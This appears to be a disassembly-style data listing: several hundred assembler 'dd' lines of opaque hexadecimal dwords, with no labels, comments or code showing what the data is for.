dd 0EC61DCACh, 70E61640h, 0E005EB11h, 3108B7ECh, 0D54EDF82h
dd 0BB02E1D2h, 3EDC7341h, 688A8129h, 1C764B37h, 3301D700h
dd 7BFE2D4Ah, 1466CD3Ch, 120705C8h, 0C4A0CCE9h, 343B0BBBh
dd 0E44B4DC7h, 0C3CB27F3h, 3BB034CEh, 78D6F337h, 1F09BE8Ah
dd 426151A2h, 240A9F8Ch, 2C430C08h, 42973EBCh, 3D4BB45Fh
dd 81305543h, 3C5DC106h, 1D903B73h, 0D86A9C07h, 0D30F76Bh
dd 7579699Bh, 51670B14h, 7C507Bh, 0CAF87317h, 209C591Ch
dd 6929ED04h, 50BF6CADh, 385F08EFh, 0C941EA3Fh, 79EDC230h
dd 84515E06h, 88CBAE92h, 6F685E04h, 0C038EF0Fh, 666C0BC6h
dd 45D23383h, 0F95D0882h, 99E94259h, 4857BC6Ah, 1222C6C0h
dd 466F328h, 5409CE4h, 12A0FB29h, 0F4761B8Eh, 50C8D66Fh
dd 0E91342E2h, 5D412549h, 46887583h, 751C6621h, 3109B7F8h
dd 8426475Fh, 0AB542A68h, 31309129h, 4960822Eh, 0B40F500Fh
dd 1DCF66Bh, 0E3280EECh, 46BCB07Fh, 3B48D9F3h, 17117112h
dd 0CF85EF4h, 57225127h, 0B6D62CFCh, 4FD56AC4h, 0C0F1E0AFh
dd 0F38AEB50h, 0DE28CF12h, 53E49AD1h, 87BA5200h, 34CC3D16h
dd 91018512h, 8EB0E902h, 82CC343Eh, 0E9DF2CCDh, 1BDDFD72h
dd 3116512Ch, 0B039FED8h, 86CB983Ah, 0F8C4E454h, 0E0D15F00h
dd 6D9C7C35h, 0AD48B71Fh, 4082D685h, 3D26026Ah, 34AD1353h
dd 84CBC1C8h, 1A3D771Eh, 0F7F6F5C9h, 56571CECh, 0C0D02F3Ch
dd 3950B9D5h, 83BDF203h, 3F5465E1h, 0C877F26Ch, 91777C7h
dd 89E936E6h, 0ED5DFFABh, 0BF5092FAh, 0E975D137h, 5F25DC1Ch
dd 0A179231Ch, 1E75BF80h, 980AFC0Bh, 0DB04C755h, 0D89241E5h
dd 0C563D22Ch, 7453122Fh, 0CA6C0916h, 1271494h, 281AF5FAh
dd 5A5BCEFDh, 7BB6A7C6h, 4A753E59h, 337ABBC0h, 0B678BDF7h
dd 309FE97h, 0E259A8C5h, 0DF7AD214h, 0BC7FA985h, 0B8508474h
dd 0ECC28024h, 755FB439h, 0F54177FCh, 0BD0BB0A0h, 0CCBFCDF0h
dd 5A44203Eh, 3CC33124h, 5277516h, 7615A080h, 886ABF72h
dd 89590802h, 43327975h, 92F4CF31h, 7B56D459h, 3E18BE02h
dd 0F29487B1h, 37F9D2C5h, 0F337EC4Eh, 56582789h, 0BD3A9E77h
dd 755A4A56h, 24954B96h, 0A2AE6C29h, 9F324F38h, 2E2B4C51h
dd 9289A5E9h, 1049F9BAh, 4E7E5429h, 2D80C0BEh, 0A42D1CF7h
dd 438B5125h, 48124729h, 0FBB4EB9Dh, 0F2591852h, 22F00C4Fh
dd 5F1D2504h, 9AC1D189h, 2ABCBCA9h, 41BF5781h, 31178E12h
dd 754CC079h, 2164E4Fh, 0B2A2D84Bh, 0E29241CFh, 45D6352Ch
dd 0F477E3A8h, 281C9F1Bh, 0DA9F4801h, 0BD227353h, 44787402h
dd 769724EEh, 8809AA74h, 1523DEC0h, 646C288h, 29104A30h
dd 883D2FAh, 94A61C3Dh, 0B58C166Ah, 0E4D3E4E3h, 0A55C34Dh
dd 13CDE063h, 5A3F4B00h
dd 5E6ACA81h, 703661D4h, 0F4DF5FEDh, 0AE487BE9h, 6F21A0D3h
dd 0E9CFC21Ch, 7B5FB4D9h, 0BB6F65F6h, 52DE1C41h, 98605A56h
dd 3F44413Ch, 8101D0FDh, 0E324B6CDh, 17F5D802h, 3970717h
dd 40D1EDE0h, 68045F9Eh, 4E33632Dh, 0FED7FAA8h, 17EAA4C0h
dd 4513305Bh, 370E6F0Ch, 0BA9614Eh, 27510840h, 568007E9h
dd 0E120FAB4h, 3B09F6B9h, 0A7905149h, 957C96F7h, 94CD165Dh
dd 49B8C2E0h, 5CA1B8FFh, 0FDB040Bh, 0A5615085h, 629AF9A8h
dd 0DE266F7Dh, 43D788CEh, 0B1525BF8h, 69ED68C6h, 82E93F57h
dd 543C9EA4h, 0E846493Ah, 0F17B0B2Dh, 254250B3h, 0C1725DB4h
dd 4CE8A7A6h, 0C0494A4Fh, 4B373428h, 0E794E973h, 170C2C0Eh
dd 0CBB23FB0h, 548FD00Ch, 0D6E96482h, 8601F058h, 0A9B753D9h
dd 487CFFEh, 33D4C780h, 0A8B516F7h, 54F92D09h, 12E0013Eh
dd 80781CE9h, 0EFD15816h, 0B706E7C1h, 0A67CEF60h, 0A5804D9Eh
dd 0BD7E9910h, 66EF135Fh, 0CD8E4B81h, 73586DE2h, 1CEC581h
dd 8D3BCA68h, 9D4BF4FFh, 2C13C6BDh, 0AEB0C7F6h, 0D00582C0h
dd 0D857A51Ch, 568530B7h, 776ABE32h, 6A4CEC27h, 5848B1ECh
dd 9D3FB120h, 18829D66h, 370B015Dh, 0FC3E1999h, 54DF8525h
dd 8CF431AFh, 0D28B4728h, 56E9DCEEh, 74960FBh, 41734500h
dd 122F2540h, 4FFAB897h, 0C371D0BBh, 2E256F33h, 9108532h
dd 0E95EE080h, 4A9960C7h, 7D9B6853h, 344E502Ch, 71F3B05Bh
dd 37A50B6Bh, 9D02D3F7h, 28F4E173h, 0BC525E78h, 0EA896191h
dd 561A605Dh, 53C87817h, 0B5CC4FFh, 40E65A08h, 5B989691h
dd 2F0A9726h, 0A08503B7h, 5158B9C0h, 0F4F86DC4h, 0C1280EAh
dd 5576B337h, 0A90ED05h, 0D4FE119Ch, 1C081A4Ah, 995A1405h
dd 16E430FEh, 68DA6082h, 0F034411Ah, 18B7836Bh, 8218B538h
dd 0BAF5E382h, 92E7CBFDh, 0D0EF7FDh, 6E55C3EBh, 594C2F1Eh
dd 5EC9ACD9h, 0E0E9E3FBh, 0CB91D08Ch, 0CD3D3F02h, 0F75DAA2Dh
dd 98EF013Bh, 55249CF7h, 7C370B68h, 65C01125h, 527FCADh
dd 2FFA7C69h, 10904FCh, 387AC6E1h, 163E2FCCh, 90F388AAh
dd 7CEB0CC1h, 1D462A8Dh, 1C48417h, 0E95E90EEh, 0CBBE3A35h
dd 0D5452E3h, 11E957EBh, 0B78F2E23h, 0E9193320h, 5690F0CCh
dd 0F6813B30h, 32217C34h, 0D32B2F89h, 0EB802C60h, 0DFADF44Eh
dd 0A9200884h, 56491294h, 8ADA1FBCh, 75A71995h, 677F2C29h
dd 0B2E9418Ah, 0C623800Ah, 359F323Fh, 0C07E9D5Dh, 0E836D262h
dd 0F056F3DDh, 776AB502h, 0A32F23C0h, 4BDC6880h, 50B22245h
dd 0C191EF63h, 0FAE2D658h, 514548D9h, 0E9FE0C80h, 898F6936h
dd 311F35F8h, 0ACEE1B75h, 0CE845644h, 0EE890B05h, 0C3246A9h
dd 0DE0B1F92h, 81063062h, 3B5EACC9h, 2F189E0h, 40B37192h
dd 0EB62CA21h, 0B9127A70h, 1EFA2FD8h, 784C12Fh, 20531D4Fh
dd 6513B141h, 0DB80565Eh, 5BF708B0h, 8448C532h, 0E9F5020Fh
dd 1CFD04D0h, 0A991FCF0h, 5C255E94h, 882BFE21h, 88135B41h
dd 0B5C433C5h, 0B29C51E9h, 0B8009341h, 4A37AC2h, 47DF3501h
dd 90D1EF34h, 3720D0F7h, 1A3013B7h, 7B0BF1E4h, 1844E444h
dd 4051E902h, 0C14113D5h, 7972F39Bh, 1B72D400h, 0E5C15A01h
dd 462065Ch, 22156CBDh, 26D4C6FBh, 0A1247AFCh, 8F3BAA37h
dd 89519145h, 0B0F076EBh, 0A641920Ch, 4829713Eh, 43084139h
dd 7102DCEDh, 2A72B4EAh, 0EE0BD763h, 0F2203BFFh, 60F962E8h
dd 4E37F18Dh, 2D504048h, 40D764EDh, 5E4CE958h, 0A4534C8Dh
dd 8B99DF6h, 175FFFC4h, 0AA183AAh, 41EA8B5Fh, 456F6D70h
dd 470CA82Ah, 89EF3C01h, 6B78E9F5h, 68508E22h, 30487B07h
dd 0E85387A3h, 2398F603h, 14C1042Dh, 0C5622019h, 0A982894Fh
dd 20F672DFh, 0B904C053h, 43D41BE1h, 0BE565A80h, 72D702B2h
dd 5EF13196h, 0AEF650D2h, 4F82F6BDh, 34847F25h, 3927EA81h
dd 0E44082DBh, 0EEF777h, 70962C20h, 8BC84A5Bh, 405A3C57h
dd 60860035h, 0D8F7122Bh, 930B112Dh, 0D521BEBBh, 681659E6h
dd 0F88D39A4h, 6A720E80h, 7C7FCF81h, 0B9F7D49h, 2752E0Eh
dd 5454ACDEh, 319B8289h, 20C56236h, 200DBD81h, 872E290Fh
dd 5F461CF6h, 0AF33D112h, 64DA4801h, 0C8213D31h, 8028231h
dd 40A85458h, 0FE3A37BAh, 823C399Ch, 0CA7BB3C1h, 0B16A5F16h
dd 80A6080Eh, 0D35F8136h, 0E47E3AC9h, 725D576Eh, 2BE00F98h
dd 6809F7C1h, 0F04C5796h, 8BB9C848h, 0E1445D75h, 0F4B7EFFAh
dd 0B0FE4930h, 7487D52h, 0B3979C23h, 9094D7CCh, 44CB1E12h
dd 0C3766343h, 433B4D57h, 62BDAFC6h, 2DB96606h, 0E259B4D1h
dd 0EAFC90Ch, 483009BDh, 0E500574Eh, 498C13E3h, 75E4A9A0h
dd 0E928CE1Dh, 0C8891D52h, 0D30EE97Ah, 5009F0C8h, 4ED25DFAh
dd 5168BBD3h, 0B89440ECh, 0BDA4331Ch, 86C7318Fh, 0B74C5039h
dd 0C202AB7Ch, 7D12AC71h, 0F0AE2E45h, 746DDDE9h, 4C70D12Fh
dd 0A76BE9D1h, 9575698Bh, 0F713E43Ch, 813C1ED3h, 96FEE47h
dd 1F872AFBh, 3D053047h, 0D2844CBAh, 0CA078104h, 21621577h
dd 9EC7EAD4h, 0A46E5A30h, 577895F3h, 97D91D20h, 0C57D8D4Ah
dd 0C0529F53h, 0E9EEEDBAh, 0D9AB9E5h, 0BB68490Bh, 8266DE7Dh
dd 5C4EE2C3h, 1C4FC055h, 6C6F1376h, 81E2C589h, 3B3478D3h
dd 0B55A778Ah, 0F0956E93h, 0C19341ABh, 710AF939h, 0EEF36E34h
dd 27E90C40h, 0BAFFCCEAh, 0DA48012h, 4C3EDD0Eh, 0A5507C83h
dd 0B7E51D09h, 0CE374825h, 66ED6805h, 4AC1EDh, 80D2F649h
dd 531371EAh, 0C8099BB3h, 0C48D51BAh, 4AD1EC3Bh, 68A037B9h
dd 79157E7h, 552057ADh, 7B6433DBh, 6D6CE912h, 0F88439FAh
dd 9895CF2Bh, 94B2F263h, 58544329h, 8B1E5CD1h, 66938C91h
dd 5306CF6Fh, 0B3054F85h, 545013CCh, 2D69CCAEh, 0AF56553Ch
dd 752883Ah, 0CC71C224h, 0AF5BDB78h, 1731D29h, 610715D3h
dd 1EB4F85Fh, 6380CB81h, 55684ACEh, 3727C44Dh, 0A6B900BBh
dd 480AB772h, 3A013153h, 3CE9774Ch, 23DA3E9Eh, 102A9B42h
dd 0B819D683h, 7AE9F017h, 6D79BDFDh, 58E5023Dh, 92972EAh
dd 0E0A401D9h, 0C73BC902h, 7768D5B1h, 601226F3h, 6CDCAh
dd 125E5214h, 0F96C34E9h, 2F393811h, 0FC0A94E2h, 201C14F2h
dd 4720CFD0h, 4BA2BE02h, 0C03119EAh, 0B49472EEh, 4DFD4BF6h
dd 4E7EA5B4h, 0D62B8669h, 6C30723h, 1E016207h, 8CB10D2h
dd 29550C6Bh, 200AF2E5h, 5E1ED050h, 0C686F29h, 16D23E5Ah
dd 7EAD7DC5h, 0F5F42A0Ch, 7168125Ah, 4FAFCA0Ch, 522EAFB6h
dd 0A9E0132Ch, 0FF623CF1h, 73CC6D4Bh, 3AEB0968h, 7E9002E9h
dd 71974386h, 15B0C0DDh, 0C26D0F6h, 53090B0Eh, 3AD88288h
dd 0CFBF0048h, 0F0B59E44h, 10D30B02h, 4958BA2Bh, 857003B5h
dd 0C75D3F0Fh, 5B4B337Ah, 0B4A12C0Ch, 5EFF031h, 4EC31010h
dd 9C9E7F05h, 931FC0DFh, 7236F960h, 0D3624C1h, 3B0274A4h
dd 0FDBFF00Ch, 5C6EC06Bh, 17125C6h, 47041D05h, 57FEE909h
dd 11B20F00h, 0F0A138B7h, 8BD9E08Ch, 0B1F4014Ah, 91D8F907h
dd 143B12E8h, 0EB04BE31h, 5F909F4Eh, 736511F6h, 87562F0Dh
dd 0E9FB10D7h, 0A0E2B5A8h, 0CB14D9DFh, 6A69E177h, 8A9D12Ah
dd 0BD01056Eh, 77065142h, 71608082h, 40D5627Bh, 48D0E774h
dd 2F18E374h, 0B5F589D7h, 760CE2BDh, 1A7525DEh, 1186F7C3h
dd 20206723h, 0BE549D5Dh, 8E82E5ACh, 4022654Bh, 0EA6A1110h
dd 26329492h, 20522F73h, 0E9D52906h, 0B67ADEB2h, 0A1E082Ah
dd 0E93BA01h, 0C7E86F17h
dd 522C0EEh, 63CF25DFh, 2DE82914h, 0F75D1307h, 510AF3ECh
dd 94E7A031h, 761ED302h, 0C441942h, 6FA020A2h, 6BAB60F9h
dd 0C4A1830h, 4E84D4B6h, 4076A80Bh, 7A16AD99h, 7FE118CCh
dd 3122976Ah, 60140DB9h, 4509C793h, 0D613E1CBh, 995016EDh
dd 9AEC3E69h, 0C8DCE9B0h, 8BB4F4B7h, 0D7989096h, 5B0A3668h
dd 9D5F0851h, 0E8B4893Ah, 572C4030h, 0BD5798E9h, 0C4FCF62Bh
dd 0A722AB6Fh, 36625D6Fh, 4A1254CAh, 1E572D26h, 0C44890BCh
dd 0AC4E4F5Ah, 33DCF4DAh, 70EB9401h, 0E5BFC3AEh, 0FA4B344Bh
dd 0C9F9A989h, 1AEBEB24h, 14411C0Fh, 44E58B7Fh, 2D447CA6h
dd 26586755h, 1E256816h, 7821DF60h, 0C17F0080h, 0E94E07EEh
dd 0ADC65605h, 74908F5Fh, 4746BDE8h, 95C5F94Eh, 66909B8h
dd 36824260h, 362D43Bh, 8A3494E5h, 31E2640h, 89B7028Fh
dd 7CD4FA53h, 0CEDE780Bh, 0F33CA0E1h, 5A952F67h, 0B48783D6h
dd 11DD0B65h, 26023BECh, 0AD5B038Ah, 64BDF7A2h, 0BAE36675h
dd 97B33061h, 7444F567h, 268D7048h, 44AE02A3h, 609BE978h
dd 12EA1749h, 557B9248h, 5F09B938h, 0A52838EEh, 0ACA9859Dh
dd 9A1182h, 62217AB8h, 0C3123473h, 0DB045658h, 50842846h
dd 0F200A0BCh, 967205F7h, 9ECBD689h, 0D2C475BFh, 27A35A5Ah
dd 968EBC4Fh, 788440E8h, 0EBAC124Fh, 0F03CEF93h, 0A3681257h
dd 94BEA248h, 0FB057EBCh, 586EE010h, 0B25626ABh, 0B5817ECh
dd 3DB10A6h, 0C0CFFE00h, 0B25208E7h, 0D7074574h, 38EF805Ah
dd 0C327FCEh, 87F7CFFh, 0D2CD3B4h, 0F15BEE04h, 90C00A87h
dd 0C73B8421h, 0A671860Ch, 0F02A6620h, 0C25C82F3h, 0D0FAB517h
dd 464B42E1h, 23B5C09Fh, 9FD07D2Bh, 8947D481h, 62EADD06h
dd 2E681FB6h, 6EF699A7h, 81F70BEAh, 585AD1B8h, 0DD062C7Fh
dd 0C1BDA56Eh, 0BE762BC8h, 30393671h, 0C3FBA05Eh, 61CAF75Fh
dd 0E976604Ah, 0BD8013F2h, 4F3A1266h, 7F25AE3Dh, 0EF0306E4h
dd 4F169A3Fh, 0C497FEE9h, 1E72D4Bh, 6E024DA2h, 2F582241h
dd 426B4ABAh, 6541ED46h, 0A3FB7163h, 622DB802h, 7A59B87Bh
dd 0CBF42079h, 19086818h, 8010A2C1h, 0C8E0CEB1h, 0C33E909Dh
dd 2D5E8072h, 683A3E09h, 74005533h, 0DDAC4335h, 5A7A8FFBh
dd 0EA79091Bh, 58080603h, 9AE070Eh, 0F4E9A2BAh, 0D0F5EBB3h
dd 4C0FD6Eh, 0A72EB43h, 915F50ECh, 2ED5E959h, 0B3EA89C4h
dd 20EA94D1h, 476097B6h, 0B1CBB39Dh, 460A0929h, 6581FE12h
dd 0EA2D1E7Ch, 4BBFA795h, 965D57C5h, 92681754h, 31D18D10h
dd 54108FDCh, 0D5C0EB5Eh, 2E080BB0h, 5355A312h, 7F1ADEA6h
dd 8C60F6A5h, 7212CDEAh, 0E1AB5694h, 1C0806C9h, 1B71280Bh
dd 408B5757h, 0A721477Fh, 4A4280EAh, 0C1809868h, 592EF278h
dd 40B434B0h, 0D97580BFh, 3A34A10Fh, 0F4C62229h, 2E4609DFh
dd 190261F9h, 2902F163h, 8A7DE0FBh, 3E671F49h, 0CF0A8B5Fh
dd 84A0CFD4h, 1F11BC09h, 59DDFC79h, 0AC0F45F2h, 505E25ECh
dd 9704744Eh, 8C275822h, 0F795DD0Fh, 585C09A2h, 2FC5FD21h
dd 3285F227h, 59B997DBh, 94ABF1D7h, 9E85B528h, 828BB8B5h
dd 0F7D58851h, 5EBF3878h, 0AE84F289h, 19E9B66Fh, 4EB2E883h
dd 0B8570364h, 34C40B2Bh, 707846F4h, 0B7DBE3Eh, 0DC15E92Ch
dd 0BB382FAAh, 6AB2D5F7h, 0E955835h, 0E0EC560Bh, 17565B9Ch
dd 0AC777E68h, 53CCC125h, 0C04143F7h, 403F9ADAh, 0AC4A4078h
dd 9109053Ah, 57711F06h, 432DA180h, 82257BD0h, 0BFA7C09h
dd 1F56253Ah, 0A7A111E4h, 8BFA43Ah, 8B410BF4h, 0BD92FA60h
dd 1C51D0D6h, 2EA3CD01h, 317B05E7h, 0C00B3DE6h, 0D95CA58Bh
dd 3F19ECAEh, 16B5B0Fh, 3B0AD2DEh, 5513148Eh, 10C5709h
dd 5A2069F0h, 1B1EE0DEh, 159C3E68h, 2E59E703h, 0CFB02D87h
dd 7CE4368Fh, 0B513E918h, 16EFC363h, 0B8247A56h, 0FE655091h
dd 0FA829913h, 985BF8F8h, 9F92B5BFh, 44815F17h, 12D22CA8h
dd 68E6C07Eh, 0E5C92671h, 5742267Bh, 86843822h, 7F75EE4Ah
dd 4578CBA4h, 0B2F3C20h, 90BC1BE9h, 242FF290h, 1F08CE9Eh
dd 20AC9D45h, 0D6BFD1F0h, 0DA878234h, 5C55F468h, 1FC94B85h
dd 68E750B6h, 459B6A86h, 0BF593902h, 0B913C066h, 660E902h
dd 0D7091341h, 8B05EB23h, 7AB8A493h, 947B8C1h, 0FD4A302Fh
dd 4DD72204h, 0EA81DAF7h, 53E56F8Fh, 76A9F03Bh, 7A124378h
dd 0A3B91CE9h, 0B17C8B2Fh, 4C16B99Fh, 3AB80880h, 26A80F16h
dd 4B8EC231h, 0AB653497h, 0D15DA081h, 0D0A2FD3Eh, 0D73C36B0h
dd 5AA53D74h, 0FAAE17A5h, 0DF8742EBh, 0BF01F8CFh, 6C8A7B4Dh
dd 12952860h, 583F2852h, 58FD1272h, 0C093030h, 4F064EB1h
dd 2141FE63h, 0AE2DC3AFh, 610BB06Fh, 0DF92AC6Bh, 6C2D6D67h
dd 0F1D94F0Ah, 0B5356AA0h, 840CE912h, 62E6E27Fh, 8A2E2DB2h
dd 950B060Ah, 1E99FA82h, 0FB395463h, 0EE0DE235h, 22056301h
dd 0DE311C57h, 6CAC84E2h, 46E6F016h, 5897DD7Dh, 0D5DDE749h
dd 26C1F4DEh, 0B80213A0h, 1332C417h, 2812E615h, 1E89EDA8h
dd 7F39D7B2h, 0FE4A5A7Ch, 0C63D94A9h, 21E9E687h, 67DD0B90h
dd 0F32189E3h, 0AFA08D04h, 12C10CC8h, 0B8FA54DFh, 0DBB35FF3h
dd 0C764E9C2h, 171EA990h, 242212Eh, 4BFD07AFh, 0BE2D1318h
dd 6B5B614Fh, 0C3F32EC2h, 997DC680h, 0D3308FEEh, 5F5488BBh
dd 0D3695C9Dh, 7552F9E8h, 770C2A61h, 1F9F344h, 1AB9C47Bh
dd 14010C08h, 2361EDE9h, 725785Eh, 0AA6FC8D7h, 4BBB7C40h
dd 0E946F489h, 0E206A4Dh, 2C96852Dh, 0EB86C86h, 112F307h
dd 580840D0h, 6487719Dh, 0D3F8B8D5h, 0C81047B9h, 0AEAD4F98h
dd 39C64860h, 3FA0EA09h, 45972502h, 0AFF40C3Bh, 0AB0FEF17h
dd 644F0102h, 33AA9C1Eh, 9EFC624h, 0B7071CD7h, 14C2E856h
dd 0F44AEE3Eh, 4B89B74Eh, 575ADA76h, 54518068h, 0BBFB298h
dd 7630DD66h, 2205792Eh, 5E2C14Ch, 0D1C5B283h, 0C3200D32h
dd 0E309090Fh, 0E6F58988h, 0C8729DAEh, 0EC6C8609h, 0D8307D4Dh
dd 0FBC8C8Eh, 73549CAh, 41A29280h, 815D0D53h, 2B0DA6F6h
dd 0B2EBEE85h, 40A99AF4h, 982890FFh, 57C0C91h, 3AE6555h
dd 4D6A5B10h, 0FFDC0D3Dh, 4907714Ch, 0C07F2114h, 0AF6A2CCBh
dd 5DE4148h, 329271C3h, 0C2515783h, 0C7D4E0B9h, 25969B52h
dd 2629AEDAh, 0A4AD4761h, 61EE5193h, 3CD09F66h, 9AF965Ah
dd 0F872BE7Bh, 17D76805h, 64D027F2h, 60027042h, 0F109CE1Dh
dd 561C2640h, 0DBBBD689h, 5827BEACh, 0D1B904C0h, 0B7BE6226h
dd 56AAC101h, 0B16A7A27h, 21E9E196h, 6FEF0023h, 609D49C7h
dd 16E3C2AFh, 64F92961h, 0A30BAF93h, 0F6227F56h, 0F3520D78h
dd 15E0780h, 3300FB79h, 8C5857EFh, 582C685Bh, 2DEAF47h
dd 0EE72D9Dh, 18A18055h, 0B8199130h, 2B2259B4h, 2514F84Eh
dd 0A75EFCEDh, 79625A79h, 13900807h, 7EA2B337h, 87C052Ah
dd 0A797BB5Eh, 7ED4B9D5h, 0FE9025EAh, 20D2C7F6h, 0F9B951CDh
dd 14BF6804h, 0C9F138E9h, 5FDDC021h, 0E946B653h, 0DA7EACA6h
dd 0AEBC4EB3h, 0D25DEFBCh, 0B381318h, 0F140308Ah, 24886E21h
dd 0ED86D8A4h, 0A3AAD236h, 163025F9h, 91E917D8h, 0CA0BBD31h
dd 534B1258h, 735F6918h, 0B91289DEh, 0E55968F5h, 11B164Ah
dd 0F0FF1717h, 0CDB5562Fh, 425C946Bh, 49E768A0h, 98D1B3C4h
dd 2F05FF14h, 0BFD207A9h, 0CBEE39C5h, 0B7E84EF7h, 2670AA5Bh
dd 7A10A32h, 5E68574Eh, 9925141Ch, 0CDD17A76h, 5D01F4F5h
dd 0D5B2704Dh, 9BF77F4h
dd 0D1D9E399h, 0D0834ED6h, 14E42E24h, 71DA0C04h, 0E4B0319Ch
dd 6F414199h, 172126A4h, 0A9381869h, 8059250Eh, 8C2305E9h
dd 0B93B5FAAh, 409F73BAh, 48B060B0h, 0E50AFE1Ah, 1CBAE34h
dd 0DF5B82E2h, 625F301Ch, 0F48447Eh, 1ADA01C7h, 0D329750Eh
dd 8044421h, 56E99142h, 25ABD97Eh, 649837Bh, 0B52BD50Fh
dd 0C6EA7989h, 0B9C8D312h, 4F4E8CE9h, 8D279EDh, 0B900888Ch
dd 37B674FCh, 0CC525F41h, 6A09C2DAh, 0F670EC59h, 6E0C0ADDh
dd 442141D2h, 0E0C1C043h, 4F350807h, 50ABB70Fh, 255D5EFAh
dd 70E5FE4Ch, 3FE6C500h, 5AC2257Bh, 40116D2h, 0E9D49F49h
dd 7B819917h, 0C65E0BC1h, 2F82ED6Bh, 0D4F637C0h, 20A5B886h
dd 68163D95h, 0D8CC7A06h, 101D1F75h, 0F8805720h, 9884D9E1h
dd 0FA05D52Eh, 57583590h, 1D680750h, 8B61FD7Bh, 39080FFCh
dd 495D0FA0h, 7CAF7AE9h, 0BE965B84h, 2083EA41h, 972A6A7Fh
dd 82BEF2AFh, 6BD59C92h, 0AD0C5A4Ah, 0A2012856h, 0E85D9D6Bh
dd 2D6AEAB1h, 9C550524h, 0B867906Ah, 0F580077Bh, 53C5FEECh
dd 0EDC1D5CDh, 10DDC297h, 9D7A9124h, 9B327466h, 0F5556C84h
dd 5D25C4DBh, 7A573B41h, 680B34A2h, 3C7952EBh, 801488ECh
dd 969CE0D1h, 504B9305h, 2D55C0AAh, 0E830DEDBh, 5ADFC43Fh
dd 4D054851h, 4B5EE909h, 30881C13h, 27F661C9h, 42646AB7h
dd 4EAE4000h, 4AC4B540h, 764ABE4Dh, 7AA85067h, 2D91DA9Bh
dd 0A253C565h, 7C5C6F09h, 0C0B363F4h, 9C3A2350h, 0DA9F2675h
dd 0B56C20E5h, 0BA6DDC9Fh, 43C46B80h, 95E8290Dh, 0ABC1E912h
dd 0F8163BBh, 0AD9FB8Ch, 1D4D8B7Bh, 3C523A85h, 7BF4F501h
dd 4E702362h, 0D07D19FCh, 0DA3ECA0Ch, 3AB444F1h, 0E9A806BCh
dd 8180884Eh, 270AFABEh, 2FE80EF6h, 6B2F7B2Fh, 0F824FA4Bh
dd 8A0CA444h, 0F6C660E2h, 41CDB51Ah, 0B215F727h, 0F4015217h
dd 519536FEh, 2A5C03Fh, 0BDB8E877h, 78C7CE04h, 0B5C04813h
dd 4ECC8706h, 2313FBB4h, 0C05A7EE0h, 27A904B9h, 294A7FBEh
dd 0C9089BDh, 78ADE91Ch, 0F91CB770h, 0D9EA2C4Ah, 5529DEC5h
dd 5E2FC4F9h, 0B0C61218h, 4E173E7Fh, 8051535h, 5CB98612h
dd 0FC274202h, 0C85D8975h, 5C619769h, 0E907E51Eh, 2F846498h
dd 0C1079F7Dh, 0F61CF9E1h, 0FDA4F834h, 0F00AE49Dh, 3200BFE3h
dd 9605665Ch, 54084A6Bh, 0FABAF55h, 506A41FFh, 9EEACD2Bh
dd 6CD5680Dh, 0CBE90C72h, 9F09108Ah, 912F9050h, 8028F375h
dd 47D42D48h, 0A6B833BBh, 0E2E3904Ah, 0A2A0AC4Fh, 82C37C35h
dd 3F2168E3h, 6614985Fh, 0F8D261Ah, 0D40818Bh, 926431A7h
dd 6162D9F2h, 48CA415Dh, 0BA88C56Fh, 0F23BFC9Dh, 570CCF56h
dd 1017A936h, 0B5E8668h, 0C434CEE9h, 5AFFF058h, 12BCF6C0h
dd 0C2FC403Ch, 25E668E0h, 1BA5CA91h, 3FA81360h, 0C438A8C5h
dd 5F0BA133h, 0D57138FFh, 0A6362B7h, 0C95CBA09h, 0D86DC781h
dd 36F0C0B8h, 0DEE9B568h, 6D042ED6h, 0E4EE215Bh, 2764F75Dh
dd 0CA950123h, 522C97CAh, 51870343h, 0E98858D8h, 0A6A91FE5h
dd 545442D5h, 0E2D2C9D7h, 5CC9D427h, 6150E685h, 6B322BE7h
dd 58891FA6h, 5B9D2AEEh, 25C54466h, 0D945CF0Bh, 3A494E2Fh
dd 0B1A875DBh, 61038024h, 635502Fh, 0FDEF8147h, 0B990167Fh
dd 2BF3B04Eh, 0BF3F3213h, 20F55B00h, 0B7312921h, 3B0747h
dd 56C4DF2h, 5FBAE945h, 930CB257h, 0BE1616AEh, 0D16B7F39h
dd 0DDD531FCh, 3F4375B0h, 3A3592C0h, 0C7405AF9h, 0BFDFB50h
dd 24DFF14h, 8894F725h, 0DD0C937h, 8FB252B0h, 6F672468h
dd 53666F5Bh, 34402A51h, 328818BBh, 0DDCBAC6Eh, 49275217h
dd 6FCC1901h, 0F7CA8701h, 71A84AC5h, 5E735438h, 200C28EFh
dd 35926EE3h, 0E9ABDDBFh, 0F396037Dh, 0E5370B93h, 0CAD19A68h
dd 61EFBF83h, 8082E462h, 28288401h, 0BCE6E5B4h, 0D6EEC052h
dd 35412221h, 8060631h, 9E04EED2h, 53E9788Dh, 0C6476265h
dd 534495EFh, 0B29BBB9Bh, 604FF55Ah, 0CA1433CFh, 0E25330h
dd 11172AFBh, 250886BBh, 0E1091FB3h, 0EE81A056h, 68D0597Dh
dd 90570B2Bh, 4C74EDE2h, 72E5575Ah, 2B282427h, 17E45E52h
dd 683340DAh, 77764339h, 0E7062BB0h, 5CA341D6h, 6C69009Ah
dd 0DD0513BFh, 25F4882Dh, 0A8734C00h, 478E0D46h, 3564002Ch
dd 602F59E7h, 4A5AF5E9h, 0E6014874h, 7E7F7C3Bh, 1ECA92Eh
dd 1F9FDECh, 0AD6CD7E9h, 7379C4Fh, 70E900E5h, 0F0D99D9Fh
dd 16974AA8h, 4BE916E3h, 328BBAE5h, 462BF44Ah, 5A2C859Fh
dd 10AD0BECh, 0DF05E931h, 0CA013BDFh, 1A4B59AAh, 7DBD982Eh
dd 5C0A5225h, 90F10F5h, 5702C383h, 0ABED6751h, 0C9097030h
dd 4C7D6969h, 0C14E59h, 2ECC002h, 0CE73CC80h, 7F60F425h
dd 20662049h, 294C48D0h, 7F15822Fh, 808F4858h, 14DB5CA7h
dd 90FDD625h, 9A2C0CDFh, 2C567FF2h, 654D4662h, 386D8754h
dd 172CBE00h, 0F64E1685h, 0CC8F4B2Dh, 6228463h, 3C312613h
dd 0BFEC7EDh, 0F020A866h, 0E40504B6h, 0BA60B8E6h, 0E912D8E3h
dd 87C7E14Dh, 52C8B5D2h, 1C5ED3A3h, 2558E761h, 248C14F7h
dd 523E8A27h, 4A13A9C0h, 0E9630605h, 0D7D417BCh, 0EFDEC2BAh
dd 2D03F250h, 6F3171E5h, 63E1B040h, 54700C2h, 6AF63762h
dd 8C6B8FE9h, 0FA96D777h, 2D12159Ah, 50BA64A0h, 5927083Ah
dd 0E9417EF9h, 562A2660h, 0A87D80C7h, 681221B7h, 93CC2EFDh
